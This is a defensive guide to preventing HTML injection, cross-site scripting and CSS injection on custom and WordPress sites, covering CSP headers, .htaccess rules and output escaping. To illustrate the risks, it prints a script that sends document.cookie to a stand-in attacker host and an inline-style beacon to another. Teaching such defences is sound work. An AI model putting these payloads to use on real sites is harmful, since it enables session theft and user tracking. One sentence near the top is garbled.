A practical guide for both custom web development and open-source platforms like WordPress.
Custom Web Development vs. Open Source Platforms
Whether you build sites from scratch or use open-source systems such as WordPress, Joomla, or Drupal, security is non-negotiable. Open-source offers speed and ecosystem plugins, but you inherit their risk profile. Custom Web Development generic exploits but still require disciplined input handling, output encoding, patching, and hardening.
What is HTML Injection?
HTML injection happens when untrusted input is placed into a page without neutralization. Example:
<!-- Dangerous if "comment" is printed raw into HTML -->
<input type="text" name="comment" value="<h1>Hacked</h1>">
This can distort layout, mislead users, and create stepping stones for more severe attacks.
What is Cross-Site Scripting (XSS)?
XSS is script injection—malicious JavaScript runs in a victim’s browser because output wasn’t properly encoded. Example:
<script>fetch('https://attacker.tld/steal?c=' + document.cookie);</script>
Impact ranges from session theft to credential capture and forced actions in logged-in sessions.
The Dangers
- Session hijacking and account takeover
- Phishing overlays and fake forms
- Defacement, SEO spam, and loss of trust
- Leakage of sensitive customer data
Inline Styles: Why They’re Not Recommended
Inline styles (style="..."
) seem harmless, but they increase risk and reduce control:
- Security: If user input ends up inside a
style
attribute, CSS injection becomes possible (e.g., loading attacker-controlled assets viaurl()
or abusing edge-case browser quirks). Strong Content Security Policy (CSP) can block inline styles entirely. - Maintainability: Styles spread across markup are hard to audit and standardize.
- Policy conflicts: Many CSP deployments intentionally disallow inline styles to tighten the attack surface.
Example of risky inline style injection:
<div style="background-image:url(https://evil.tld/track.gif)">Profile</div>
Better approach: move styles to a vetted stylesheet and allow only trusted sources through CSP.
Blocking Inline Styles with .htaccess (CSP)
Use CSP headers from .htaccess
to forbid inline styles unless explicitly allowed with nonces or hashes:
<IfModule mod_headers.c>
# Strict example (blocks inline styles and only allows your domain & select CDNs)
Header always set Content-Security-Policy "default-src 'self'; \
script-src 'self'; \
style-src 'self' https://cdn.jsdelivr.net https://fonts.googleapis.com; \
font-src 'self' https://fonts.gstatic.com; \
img-src 'self' data:; \
object-src 'none'; base-uri 'self'; frame-ancestors 'none';"
</IfModule>
This blocks style="..."
everywhere. If you must allow a specific inline style, use a nonce or hash:
<IfModule mod_headers.c>
# Allow only inline styles carrying the given nonce
Header always set Content-Security-Policy "default-src 'self'; \
style-src 'self' 'nonce-ABC123';"
</IfModule>
Then tag the allowed inline style with that nonce:
<style nonce="ABC123">.btn-safe{padding:.5rem 1rem}</style>
Avoid 'unsafe-inline'
in style-src
; it re-opens inline style injection risk.
Preventing HTML Injection
Validate, normalize, and encode all user input before rendering. Server-level guard (blocks obvious tag brackets in query strings):
# Block suspicious HTML brackets in URLs
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} (<|%3C|>|%3E) [NC]
RewriteRule .* - [F]
</IfModule>
Application level: escape on output, not input. In PHP, use htmlspecialchars($str, ENT_QUOTES, 'UTF-8')
. In templating, prefer auto-escaping.
WordPress: for user-generated content, use wp_kses()
/wp_kses_post()
to permit only specific tags; avoid granting unfiltered_html capability.
Preventing XSS
Encode output per context (HTML, attribute, URL, JS). Deploy CSP to curb script execution:
# Harden against reflected/stored XSS
<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block"
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';"
Header set X-Content-Type-Options "nosniff"
Header set Referrer-Policy "no-referrer-when-downgrade"
</IfModule>
WordPress: use esc_html()
, esc_attr()
, esc_url()
when printing variables; keep core, themes, and plugins updated.
How to Check if Your Site Has Issues
- Run OWASP ZAP or Burp Suite against a staging copy.
- Greps/linters for
style=
in templates or user-editable fields; flag dynamic attributes. - Review server logs for encoded brackets (
%3C
,%3E
) and suspicious parameters. - Manual tests: attempt to inject harmless payloads in form fields and see if they render.
PCI Compliance
If you accept credit cards directly, PCI DSS applies. Use a PCI-compliant gateway (hosted fields/redirects) to reduce scope. Even with a gateway, you must still patch, harden, and prevent common web vulns like XSS—insecure pages can still lead to fraud or data exposure.
FAQs
Is HTML injection the same as XSS?
No. HTML injection alters markup; XSS executes scripts. XSS generally carries higher impact.
Should I ban all inline styles?
As a default, yes—block them via CSP and move styles into vetted stylesheets. If you must use one, gate it with a nonce or hash.
Can WordPress plugins introduce inline styles?
Yes. Many do. Use a CSP that disallows inline styles to catch these cases and prefer well-maintained plugins that respect modern security headers.
Does HTTPS protect against XSS or CSS injection?
HTTPS protects transport, not browser-side execution. You still need output encoding and CSP to control scripts and styles.
Do small stores need PCI compliance?
Yes. Any merchant handling cardholder data falls under PCI DSS. Using a hosted, PCI-compliant gateway reduces your scope but doesn’t remove all obligations.